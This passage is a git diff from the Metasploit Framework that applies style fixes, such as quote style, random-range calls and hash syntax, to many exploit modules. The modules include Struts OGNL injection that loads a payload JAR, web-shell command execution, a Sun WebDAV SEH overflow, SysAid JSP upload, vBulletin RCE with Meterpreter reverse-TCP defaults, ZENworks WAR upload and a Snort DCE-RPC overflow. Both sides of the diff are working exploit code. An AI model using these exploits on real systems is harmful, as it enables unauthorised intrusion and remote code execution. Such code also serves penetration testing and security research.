"@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))" exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))" when 'java' - @payload_exe << ".jar" + @payload_exe << '.jar' pl_exe = payload.encoded_jar.pack - exec_cmd = "" + exec_cmd = '' exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked')," - exec_cmd << "#q.setAccessible(true),#q.set(null,true)," + exec_cmd << '#q.setAccessible(true),#q.set(null,true),' exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15')," - exec_cmd << "#q.setAccessible(true),#q.set(null,false)," + exec_cmd << '#q.setAccessible(true),#q.set(null,false),' exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()})," exec_cmd << "#c=#cl.loadClass('metasploit.Payload')," exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke(" - exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})" + exec_cmd << 'null,new java.lang.Object[]{new java.lang.String[0]})' when 'win' @payload_exe = "./#{@payload_exe}.exe" exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')" @@ -143,13 +143,13 @@ class MetasploitModule < Msf::Exploit::Remote fail_with(Failure::NoTarget, 'Unsupported target platform!') end - print_status("Preparing payload...") + print_status('Preparing payload...') # Now with all the arch specific stuff set, perform the upload. # Need to calculate amount to allocate for non-dynamic parts of the URL. # Fixed strings are tokens used for substitutions. - append_length = append ? "true".length : "false".length # Gets around the boolean/string issue - sub_from_chunk = append_length + (@java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length) - sub_from_chunk += (@inject.length - "CMD".length) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length + append_length = append ? 'true'.length : 'false'.length # Gets around the boolean/string issue + sub_from_chunk = append_length + (@java_upload_part_cmd.length - 'FILENAME'.length - 'APPEND'.length - 'BUFFER'.length) + sub_from_chunk += (@inject.length - 'CMD'.length) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length case datastore['HTTPMETHOD'] when 'GET' chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items. @@ -166,7 +166,7 @@ class MetasploitModule < Msf::Exploit::Remote end java_upload_part(pl_exe, @payload_exe, append) execute_command(chmod_cmd) if target['Platform'] == 'linux' - print_line() # new line character, after progress bar. + print_line # new line character, after progress bar. @notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file. execute_command(exec_cmd) register_files_for_cleanup(@payload_exe) @@ -174,7 +174,7 @@ class MetasploitModule < Msf::Exploit::Remote def java_upload_part(part, filename, append = false) cmd = @java_upload_part_cmd.gsub(/FILENAME/, filename) - append = append ? "true" : "false" # converted for the string replacement. + append = append ? 'true' : 'false' # converted for the string replacement. cmd = cmd.gsub!(/APPEND/, append) cmd = cmd.gsub!(/BUFFER/, Rex::Text.encode_base64(part)) execute_command(cmd) @@ -182,8 +182,8 @@ class MetasploitModule < Msf::Exploit::Remote def check # initialise some base vars - @inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}" - vprint_status("Performing Check...") + @inject = '${#_memberAccess["allowStaticMethodAccess"]=true,CMD}' + vprint_status('Performing Check...') sleep_time = datastore['CHECK_SLEEPTIME'] check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})" t1 = Time.now diff --git a/modules/exploits/multi/http/stunshell_exec.rb b/modules/exploits/multi/http/stunshell_exec.rb index ee13ae33cb..9a59d41c6e 100644 --- a/modules/exploits/multi/http/stunshell_exec.rb +++ b/modules/exploits/multi/http/stunshell_exec.rb @@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [true, "The path to the andalas_oku shell", "/IDC.php"]), + OptString.new('TARGETURI', [true, 'The path to the andalas_oku shell', '/IDC.php']), ] ) end @@ -88,7 +88,7 @@ class MetasploitModule < Msf::Exploit::Remote } } res = send_request_cgi(request_parameters) - if not (res and res.code == 200) + if !(res and res.code == 200) fail_with(Failure::Unknown, 'Failed to execute the command.') end end diff --git a/modules/exploits/multi/http/sun_jsws_dav_options.rb b/modules/exploits/multi/http/sun_jsws_dav_options.rb index 38a5d08d17..d9983d9092 100644 --- a/modules/exploits/multi/http/sun_jsws_dav_options.rb +++ b/modules/exploits/multi/http/sun_jsws_dav_options.rb @@ -41,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { - 'BufferRegister' => 'ECX', + 'BufferRegister' => 'ECX' } }, 'Targets' => [ @@ -105,7 +105,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('PATH', [ true, "The URI path of a WebDAV collection on the server", '/webdav']) + OptString.new('PATH', [ true, 'The URI path of a WebDAV collection on the server', '/webdav']) ] ) end @@ -120,7 +120,7 @@ class MetasploitModule < Msf::Exploit::Remote }, 5 ) - info = http_fingerprint({ :response => res }) # check method + info = http_fingerprint({ response: res }) # check method if (info =~ /Sun/) print_status("Found server: #{info}") return Exploit::CheckCode::Detected @@ -152,7 +152,7 @@ class MetasploitModule < Msf::Exploit::Remote if (target.name =~ /Debug Target/) uri << Rex::Text.pattern_create(2000) encoded = "\xcc" - encoded << "A" * (payload_space - 2) + encoded << 'A' * (payload_space - 2) encoded << "\xcc" # sled = Rex::Text.charset_exclude(payload_badchars) @@ -181,12 +181,12 @@ class MetasploitModule < Msf::Exploit::Remote seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string rest << Rex::Text.to_hex(seh, '%') - rest << "A" * 256 + rest << 'A' * 256 rest << payload.encoded rest << rand_text_alphanumeric(2200 - rest.length) uri << rest - encoded = rand_text_alphanumeric(32 + rand(64)) + encoded = rand_text_alphanumeric(rand(32..95)) # From CORE local PoC # uri = '/' + ("D"*2000) + '/..' + datastore['PATH'] + '/' + rest @@ -196,7 +196,7 @@ class MetasploitModule < Msf::Exploit::Remote # of the payload in memory, not exactly what we want :-/ # encoded = Rex::Text.to_hex(pl, '%') - res = send_request_raw({ + send_request_raw({ 'method' => 'OPTIONS', 'proto' => 'HTTP', 'version' => '1.0', diff --git a/modules/exploits/multi/http/sysaid_auth_file_upload.rb b/modules/exploits/multi/http/sysaid_auth_file_upload.rb index 2a15056db8..b7db3ed4a3 100644 --- a/modules/exploits/multi/http/sysaid_auth_file_upload.rb +++ b/modules/exploits/multi/http/sysaid_auth_file_upload.rb @@ -63,7 +63,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('RPORT', [true, 'The target port', 8080]), - OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), + OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']), OptString.new('USERNAME', [true, 'The username to login as']), OptString.new('PASSWORD', [true, 'Password for the specified username']), ] @@ -75,9 +75,9 @@ class MetasploitModule < Msf::Exploit::Remote 'uri' => normalize_uri(datastore['TARGETURI'], 'errorInSignUp.htm'), 'method' => 'GET' }) - if res && res.code == 200 && res.body.to_s =~ /css\/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})/ - major = $1.to_i - minor = $2.to_i + if res && res.code == 200 && res.body.to_s =~ %r{css/master\.css\?v([0-9]{1,2})\.([0-9]{1,2})} + major = ::Regexp.last_match(1).to_i + minor = ::Regexp.last_match(2).to_i if major == 14 && minor == 4 return Exploit::CheckCode::Appears elsif major > 14 @@ -109,12 +109,12 @@ class MetasploitModule < Msf::Exploit::Remote post_data = Rex::MIME::Message.new post_data.add_part(payload, 'application/octet-stream', 'binary', - "form-data; name=\"#{Rex::Text.rand_text_alpha(4 + rand(8))}\"; filename=\"#{Rex::Text.rand_text_alpha(4 + rand(10))}.jsp\"") + "form-data; name=\"#{Rex::Text.rand_text_alpha(rand(4..11))}\"; filename=\"#{Rex::Text.rand_text_alpha(rand(4..13))}.jsp\"") data = post_data.to_s if is_exploit - print_status("Uploading payload...") + print_status('Uploading payload...') end res = send_request_cgi({ @@ -126,12 +126,12 @@ class MetasploitModule < Msf::Exploit::Remote 'vars_get' => { 'isUpload' => 'true' } }) - if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = \"(.*)\"/ + if res && res.code == 200 && res.body.to_s =~ /parent.glSelectedImageUrl = "(.*)"/ if is_exploit - print_good("Payload uploaded successfully") + print_good('Payload uploaded successfully') end - return $1 + return ::Regexp.last_match(1) else return nil end @@ -142,15 +142,15 @@ class MetasploitModule < Msf::Exploit::Remote return target end - print_status("Determining target") - os_finder_payload = %Q{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} + print_status('Determining target') + os_finder_payload = %{<html><body><%out.println(System.getProperty("os.name"));%></body><html>} url = upload_payload(os_finder_payload, false) res = send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], url), 'method' => 'GET', 'cookie' => @cookie, - 'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) } + 'headers' => { 'Referer' => Rex::Text.rand_text_alpha(rand(10..19)) } }) if res && res.code == 200 @@ -167,30 +167,30 @@ class MetasploitModule < Msf::Exploit::Remote end def generate_jsp_payload - opts = { :arch => @my_target.arch, :platform => @my_target.platform } + opts = { arch: @my_target.arch, platform: @my_target.platform } exe = generate_payload_exe(opts) base64_exe = Rex::Text.encode_base64(exe) - native_payload_name = rand_text_alpha(rand(6) + 3) + native_payload_name = rand_text_alpha(rand(3..8)) ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' - var_raw = rand_text_alpha(rand(8) + 3) - var_ostream = rand_text_alpha(rand(8) + 3) - var_buf = rand_text_alpha(rand(8) + 3) - var_decoder = rand_text_alpha(rand(8) + 3) - var_tmp = rand_text_alpha(rand(8) + 3) - var_path = rand_text_alpha(rand(8) + 3) - var_proc2 = rand_text_alpha(rand(8) + 3) + var_raw = rand_text_alpha(rand(3..10)) + var_ostream = rand_text_alpha(rand(3..10)) + var_buf = rand_text_alpha(rand(3..10)) + var_decoder = rand_text_alpha(rand(3..10)) + var_tmp = rand_text_alpha(rand(3..10)) + var_path = rand_text_alpha(rand(3..10)) + var_proc2 = rand_text_alpha(rand(3..10)) if @my_target['Platform'] == 'linux' - var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) - chmod = %Q| + var_proc1 = Rex::Text.rand_text_alpha(rand(3..10)) + chmod = %| Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); Thread.sleep(200); | - var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) - cleanup = %Q| + var_proc3 = Rex::Text.rand_text_alpha(rand(3..10)) + cleanup = %| Thread.sleep(200); Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); | @@ -199,7 +199,7 @@ class MetasploitModule < Msf::Exploit::Remote cleanup = '' end - jsp = %Q| + jsp = %| <%@page import="java.io.*"%> <%@page import="sun.misc.BASE64Decoder"%> <% @@ -236,7 +236,7 @@ class MetasploitModule < Msf::Exploit::Remote unless @cookie fail_with(Failure::NoAccess, "#{peer} - Unable to authenticate with the provided credentials.") end - print_good("Authentication was successful with the provided credentials.") + print_good('Authentication was successful with the provided credentials.') @my_target = pick_target if @my_target.nil? @@ -262,12 +262,12 @@ class MetasploitModule < Msf::Exploit::Remote register_files_for_cleanup('root/' + jsp_path) end - print_status("Executing payload...") + print_status('Executing payload...') send_request_cgi({ 'uri' => normalize_uri(datastore['TARGETURI'], jsp_path), 'method' => 'GET', 'cookie' => @cookie, - 'headers' => { 'Referer' => Rex::Text.rand_text_alpha(10 + rand(10)) } + 'headers' => { 'Referer' => Rex::Text.rand_text_alpha(rand(10..19)) } }) end end diff --git a/modules/exploits/multi/http/tomcat_partial_put_deserialization.rb b/modules/exploits/multi/http/tomcat_partial_put_deserialization.rb index c41484d5ab..d4c3efe0b3 100644 --- a/modules/exploits/multi/http/tomcat_partial_put_deserialization.rb +++ b/modules/exploits/multi/http/tomcat_partial_put_deserialization.rb @@ -95,7 +95,7 @@ class MetasploitModule < Msf::Exploit::Remote trigger_res = trigger_payload(upload_session_id) if trigger_res&.code != 500 - Exploit::CheckCode::Safe + return Exploit::CheckCode::Safe end Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/multi/http/v0pcr3w_exec.rb b/modules/exploits/multi/http/v0pcr3w_exec.rb index ebf61d8ec3..6bb420a20a 100644 --- a/modules/exploits/multi/http/v0pcr3w_exec.rb +++ b/modules/exploits/multi/http/v0pcr3w_exec.rb @@ -54,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]), + OptString.new('TARGETURI', [true, 'The path to the v0pCr3w shell', '/jos.php']), ] ) end @@ -67,7 +67,7 @@ class MetasploitModule < Msf::Exploit::Remote 'lol' => '1' } }) - if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/) + if (shell and shell.body =~ /v0pCr3w<br>/ and shell.body =~ /<br>nob0dyCr3w/) return Exploit::CheckCode::Vulnerable end @@ -83,7 +83,7 @@ class MetasploitModule < Msf::Exploit::Remote 'osc' => p } }) - if not (res and res.code == 200) + if !(res and res.code == 200) fail_with(Failure::Unknown, 'Failed to execute the command.') end end diff --git a/modules/exploits/multi/http/vbulletin_widgetconfig_rce.rb b/modules/exploits/multi/http/vbulletin_widgetconfig_rce.rb index da7f3313f7..44ded5cad2 100644 --- a/modules/exploits/multi/http/vbulletin_widgetconfig_rce.rb +++ b/modules/exploits/multi/http/vbulletin_widgetconfig_rce.rb @@ -33,35 +33,41 @@ class MetasploitModule < Msf::Exploit::Remote 'Targets' => [ [ 'Meterpreter (PHP In-Memory)', - 'Platform' => 'php', - 'Arch' => [ARCH_PHP], - 'Type' => :php_memory, - 'Payload' => { - 'BadChars' => "\x22", - }, - 'DefaultOptions' => { - 'PAYLOAD' => 'php/meterpreter/reverse_tcp', - 'DisablePayloadHandler' => false + { + 'Platform' => 'php', + 'Arch' => [ARCH_PHP], + 'Type' => :php_memory, + 'Payload' => { + 'BadChars' => "\x22" + }, + 'DefaultOptions' => { + 'PAYLOAD' => 'php/meterpreter/reverse_tcp', + 'DisablePayloadHandler' => false + } } ], [ 'Unix (CMD In-Memory)', - 'Platform' => 'unix', - 'Arch' => ARCH_CMD, - 'Type' => :unix_cmd, - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/unix/generic', - 'DisablePayloadHandler' => true + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/generic', + 'DisablePayloadHandler' => true + } } ], [ 'Windows (CMD In-Memory)', - 'Platform' => 'windows', - 'Arch' => ARCH_CMD, - 'Type' => :windows_cmd, - 'DefaultOptions' => { - 'PAYLOAD' => 'cmd/windows/generic', - 'DisablePayloadHandler' => true + { + 'Platform' => 'windows', + 'Arch' => ARCH_CMD, + 'Type' => :windows_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/windows/generic', + 'DisablePayloadHandler' => true + } } ] ], @@ -112,7 +118,7 @@ class MetasploitModule < Msf::Exploit::Remote end def exploit - vprint_good("The target appears to be vulnerable.") + vprint_good('The target appears to be vulnerable.') print_status("Sending #{datastore['PAYLOAD']} command payload") case target['Type'] diff --git a/modules/exploits/multi/http/wp_db_backup_rce.rb b/modules/exploits/multi/http/wp_db_backup_rce.rb index e95b8d5766..b912e67139 100644 --- a/modules/exploits/multi/http/wp_db_backup_rce.rb +++ b/modules/exploits/multi/http/wp_db_backup_rce.rb @@ -154,7 +154,7 @@ class MetasploitModule < Msf::Exploit::Remote end def create_backup(cookie, nonce) - first_res = send_request_cgi( + send_request_cgi( 'method' => 'GET', 'uri' => @exclude_uri, 'cookie' => cookie, diff --git a/modules/exploits/multi/http/zemra_panel_rce.rb b/modules/exploits/multi/http/zemra_panel_rce.rb index 3ed176a114..6f6a43dee0 100644 --- a/modules/exploits/multi/http/zemra_panel_rce.rb +++ b/modules/exploits/multi/http/zemra_panel_rce.rb @@ -55,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ - OptString.new('TARGETURI', [true, "The path of the backdoor inside Zemra Botnet CnC Web Panel", "/Zemra/Panel/Zemra/system/command.php"]), + OptString.new('TARGETURI', [true, 'The path of the backdoor inside Zemra Botnet CnC Web Panel', '/Zemra/Panel/Zemra/system/command.php']), ] ) end diff --git a/modules/exploits/multi/http/zenworks_control_center_upload.rb b/modules/exploits/multi/http/zenworks_control_center_upload.rb index a2e179159b..7a02b634bf 100644 --- a/modules/exploits/multi/http/zenworks_control_center_upload.rb +++ b/modules/exploits/multi/http/zenworks_control_center_upload.rb @@ -6,7 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking - HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] } + HttpFingerprint = { pattern: [ /Apache-Coyote/ ] } include Msf::Exploit::Remote::HttpClient include Msf::Exploit::EXE @@ -77,7 +77,7 @@ class MetasploitModule < Msf::Exploit::Remote def check res = send_request_cgi({ 'method' => 'GET', - 'uri' => "/zenworks/jsp/fw/internal/Login.jsp" + 'uri' => '/zenworks/jsp/fw/internal/Login.jsp' }) if res and res.code == 200 and res.body =~ /Novell ZENworks Control Center/ @@ -89,10 +89,10 @@ class MetasploitModule < Msf::Exploit::Remote def exploit # Generate the WAR containing the EXE containing the payload - app_base = rand_text_alphanumeric(4 + rand(4)) - jsp_name = rand_text_alphanumeric(8 + rand(8)) + app_base = rand_text_alphanumeric(rand(4..7)) + jsp_name = rand_text_alphanumeric(rand(8..15)) - war_data = payload.encoded_war(:app_name => app_base, :jsp_name => jsp_name).to_s + war_data = payload.encoded_war(app_name: app_base, jsp_name: jsp_name).to_s print_status("Uploading #{war_data.length} bytes as #{app_base}.war ...") @@ -108,16 +108,16 @@ class MetasploitModule < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => "/zenworks/jsp/index.jsp?pageid=newDocumentWizard", + 'uri' => '/zenworks/jsp/index.jsp?pageid=newDocumentWizard', 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => data } ) if res and res.code == 302 - print_status("Upload finished, waiting 20 seconds for payload deployment...") + print_status('Upload finished, waiting 20 seconds for payload deployment...') else - fail_with(Failure::Unknown, "Failed to upload payload") + fail_with(Failure::Unknown, 'Failed to upload payload') end # Wait to ensure the uploaded war is deployed @@ -126,7 +126,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status("Triggering payload at '/#{app_base}/#{jsp_name}.jsp' ...") send_request_cgi({ 'uri' => normalize_uri(app_base, "#{jsp_name}.jsp"), - 'method' => 'GET', + 'method' => 'GET' }) end end diff --git a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb index 6137f79119..44b9237bd8 100644 --- a/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb +++ b/modules/exploits/multi/http/zpanel_information_disclosure_rce.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'http://pastebin.com/y5Pf4Yms' ] ], 'Payload' => { - 'BadChars' => "\x00", + 'BadChars' => "\x00" }, 'Platform' => 'php', 'Targets' => [ @@ -126,7 +126,7 @@ class MetasploitModule < Msf::Exploit::Remote print_status('Attempting to get PHPSESSIONID') res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri("#{uri}"), + 'uri' => normalize_uri("#{uri}") }) unless res @@ -138,7 +138,7 @@ class MetasploitModule < Msf::Exploit::Remote if sid.length > 0 print_good('PHPSESSID identified!') - print_good("PHPSESSID = #{sid.split("=")[1]}") + print_good("PHPSESSID = #{sid.split('=')[1]}") print_status('Attempting to get CSRF token') res = send_request_cgi({ @@ -169,7 +169,7 @@ class MetasploitModule < Msf::Exploit::Remote end end - def login_phpmyadmin(uri, uname, passwd, cookies, token, sess_id) + def login_phpmyadmin(_uri, uname, passwd, cookies, token, sess_id) old_cookies = cookies res = send_request_cgi({ @@ -179,7 +179,7 @@ class MetasploitModule < Msf::Exploit::Remote 'ctype' => 'application/x-www-form-urlencoded', 'headers' => { - 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/", + 'Referer' => "http://#{datastore['RHOST']}/etc/apps/phpmyadmin/" }, 'vars_post' => { 'pma_username' => uname, @@ -193,8 +193,8 @@ class MetasploitModule < Msf::Exploit::Remote cookies = "#{res.get_cookies}" - old_cookies = old_cookies.split("; ") - cookies = cookies.split("; ") + old_cookies = old_cookies.split('; ') + cookies = cookies.split('; ') new_cookies = "#{old_cookies[0]}; " new_cookies << "#{old_cookies[1]}; " @@ -263,12 +263,12 @@ class MetasploitModule < Msf::Exploit::Remote print_good("A privilege escalation exploit can be found 'exploits/linux/local/zpanel_zsudo'") print_status("Executing '#{fname}' on the remote host") - res = send_request_cgi({ + send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri("#{uri}", "#{fname}") }) else - print_error("#{res.body.to_s}") + print_error("#{res.body}") end end @@ -296,7 +296,7 @@ class MetasploitModule < Msf::Exploit::Remote print_error('It appears that the directory traversal was unsuccessful...') end else - print_error("It appears that the version of pChart is not vulnerable...") + print_error('It appears that the version of pChart is not vulnerable...') end end end diff --git a/modules/exploits/multi/ids/snort_dce_rpc.rb b/modules/exploits/multi/ids/snort_dce_rpc.rb index 6daff101f4..e77acd288a 100644 --- a/modules/exploits/multi/ids/snort_dce_rpc.rb +++ b/modules/exploits/multi/ids/snort_dce_rpc.rb @@ -41,12 +41,12 @@ class MetasploitModule < Msf::Exploit::Remote [ 'URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/22616-linux.py'] ], 'DefaultOptions' => { - 'EXITFUNC' => 'thread', + 'EXITFUNC' => 'thread' }, 'Payload' => { 'Space' => 390, 'BadChars' => "\x00", - 'DisableNops' => true, + 'DisableNops' => true }, 'Targets' => [ [ @@ -161,7 +161,7 @@ class MetasploitModule < Msf::Exploit::Remote sploit << make_nops(1) # The size to be included in Write AndX Request #2, including sploit payload - requestsize = [(sploit.size() + target['Offset'])].pack('v') + requestsize = [(sploit.size + target['Offset'])].pack('v') # Assemble the parts into one package p.payload = header << requestsize << tail << make_nops(target['Padding']) << eip << sploit diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index 19fd0951e3..4f24665089 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -12,7 +12,7 @@ class MetasploitModule < Msf::Exploit::Remote super( update_info( info, - 'Name' => "Squiggle 1.7 SVG Browser Java Code Execution", + 'Name' => 'Squiggle 1.7 SVG Browser Java Code Execution', 'Description' => %q{ This module abuses the SVG support to execute Java Code in the Squiggle Browser included in the Batik framework 1.7 through a @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote [ 'Generic (Java Payload)', { - 'Arch' => ARCH_JAVA, + 'Arch' => ARCH_JAVA } ], [ @@ -80,14 +80,14 @@ class MetasploitModule < Msf::Exploit::Remote def on_request_uri(cli, request) agent = request.headers['User-Agent'] jar_uri = ('/' == get_resource[-1, 1]) ? get_resource[0, get_resource.length - 1] : get_resource - jar_uri << "/#{rand_text_alpha(rand(6) + 3)}.jar" - rand_text = Rex::Text.rand_text_alphanumeric(rand(8) + 4) + jar_uri << "/#{rand_text_alpha(rand(3..8))}.jar" + rand_text = Rex::Text.rand_text_alphanumeric(rand(4..11)) if request.uri =~ /\.jar$/ paths = [ - [ "Exploit.class" ], - [ "Exploit$1.class"], - [ "META-INF", "MANIFEST.MF"] + [ 'Exploit.class' ], + [ 'Exploit$1.class'], + [ 'META-INF', 'MANIFEST.MF'] ] p = regenerate_payload(cli) @@ -95,15 +95,15 @@ class MetasploitModule < Msf::Exploit::Remote jar = p.encoded_jar paths.each do |path| 1.upto(path.length - 1) do |idx| - full = path[0, idx].join("/") + "/" + full = path[0, idx].join('/') + '/' if !(jar.entries.map { |e| e.name }.include?(full)) jar.add_file(full, '') end end - fd = File.open(File.join(Msf::Config.data_directory, "exploits", "batik_svg", path), "rb") + fd = File.open(File.join(Msf::Config.data_directory, 'exploits', 'batik_svg', path), 'rb') data = fd.read(fd.stat.size) - jar.add_file(path.join("/"), data) + jar.add_file(path.join('/'), data) fd.close end @@ -111,12 +111,12 @@ class MetasploitModule < Msf::Exploit::Remote send_response(cli, jar.pack, { 'Content-Type' => 'application/java-archive' }) elsif agent =~ /Batik/ - svg = %Q| + svg = %( <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0"> <script type="application/java-archive" xlink:href="#{jar_uri}"/> <text>#{rand_text}</text> </svg> - | + ) svg = svg.gsub(/\t\t\t/, '') print_status("#{cli.peerhost} - Sending SVG") diff --git a/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb b/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb index 30ea8bd2a0..1f25c85ea8 100644 --- a/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb +++ b/modules/exploits/multi/misc/bmc_patrol_cmd_exec.rb @@ -201,7 +201,7 @@ class MetasploitModule < Msf::Exploit::Remote def cleanup disconnect - print_status("Disconnected from BMC Patrol Agent.") + print_status('Disconnected from BMC Patrol Agent.') @inflater.close @deflater.close super @@ -209,16 +209,16 @@ class MetasploitModule < Msf::Exploit::Remote def get_target_os(srv_info_msg) lines = srv_info_msg.split("\n") - fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}" + fail_with(Failure::UnexpectedReply, 'Invalid server info msg.') if lines[0] != 'MS' && lines[1] != '{' && lines[-1] != '}' os = nil ver = nil lines[2..-2].each do |i| - val = i.split("=") + val = i.split('=') if val.length == 2 - if val[0].strip! == "T" + if val[0].strip! == 'T' os = val[1] - elsif val[0].strip! == "VER" + elsif val[0].strip! == 'VER' ver = val[1] end end @@ -228,11 +228,11 @@ class MetasploitModule < Msf::Exploit::Remote def get_cmd_output(cmd_output_msg) lines = cmd_output_msg.split("\n") - fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}" + fail_with(Failure::UnexpectedReply, 'Invalid command output msg.') if lines[0] != 'PEM_MSG' && lines[1] != '{' && lines[-1] != '}' # Parse out command results idx_start = cmd_output_msg.index("Result\x00") - idx_end = cmd_output_msg.index("RemPsl_user") + idx_end = cmd_output_msg.index('RemPsl_user') output = cmd_output_msg[idx_start + 7..idx_end - 1] output @@ -264,30 +264,30 @@ class MetasploitModule < Msf::Exploit::Remote # Connect to the BMC Patrol Agent connect - print_status("Connected to BMC Patrol Agent.") + print_status('Connected to BMC Patrol Agent.') # Create session msg create_session ret_data = receive_msg - fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil? + fail_with(Failure::UnexpectedReply, 'Failed to receive session confirmation. Aborting.') if ret_data.nil? # Authenticate authenticate_user(datastore['USER'], datastore['PASSWORD']) # Receive the authentication response ret_data = receive_msg - fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil? + fail_with(Failure::UnexpectedReply, 'Failed to receive authentication response. Aborting.') if ret_data.nil? ret_msg = process_response(ret_data) if ret_msg =~ /logged in/ - print_status("Successfully authenticated user.") + print_status('Successfully authenticated user.') else - fail_with(Failure::UnexpectedReply, "Login failed. Aborting.") + fail_with(Failure::UnexpectedReply, 'Login failed. Aborting.') end # Receive the server info ret_data = receive_msg - fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil? + fail_with(Failure::UnexpectedReply, 'Failed to receive server info msg. Aborting.') if ret_data.nil? srv_info = process_response(ret_data) # Get the target's OS from their info msg @@ -338,7 +338,7 @@ class MetasploitModule < Msf::Exploit::Remote end payload_size_arr = header[0, 4] - payload_size = payload_size_arr.unpack1("N") + payload_size = payload_size_arr.unpack1('N') payload = '' if payload_size > 0 payload = sock.get_once(payload_size) @@ -371,14 +371,14 @@ class MetasploitModule < Msf::Exploit::Remote # While style checks complain, I intend to leave this parsing # in place for debugging purposes ret_size_arr = ret_data[0, 4] - ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment + ret_size = ret_size_arr.unpack1('N') # rubocop:disable Lint/UselessAssignment msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment comp_flag = ret_data[5, 1] payload_data = ret_data[6..-1] if comp_flag == "\x00" - bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment + bin_data = payload_data.unpack1('H*') # rubocop:disable Lint/UselessAssignment payload_data = @inflater.inflate(payload_data) end @@ -407,8 +407,8 @@ class MetasploitModule < Msf::Exploit::Remote def identify(user) inner_len = 15 msg_type = 8 - len_str = [inner_len].pack("N") - msg_str = [msg_type].pack("N") + len_str = [inner_len].pack('N') + msg_str = [msg_type].pack('N') msg_1 = %(PEM_MSG { \tNSDL=#{inner_len} @@ -417,7 +417,7 @@ class MetasploitModule < Msf::Exploit::Remote ) msg_1 += "\x00" print_status("Msg: #{msg_1}") - bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment + bin_data = msg_1.unpack1('H*') # rubocop:disable Lint/UselessAssignment # Compress the message comp_data = @deflater.deflate 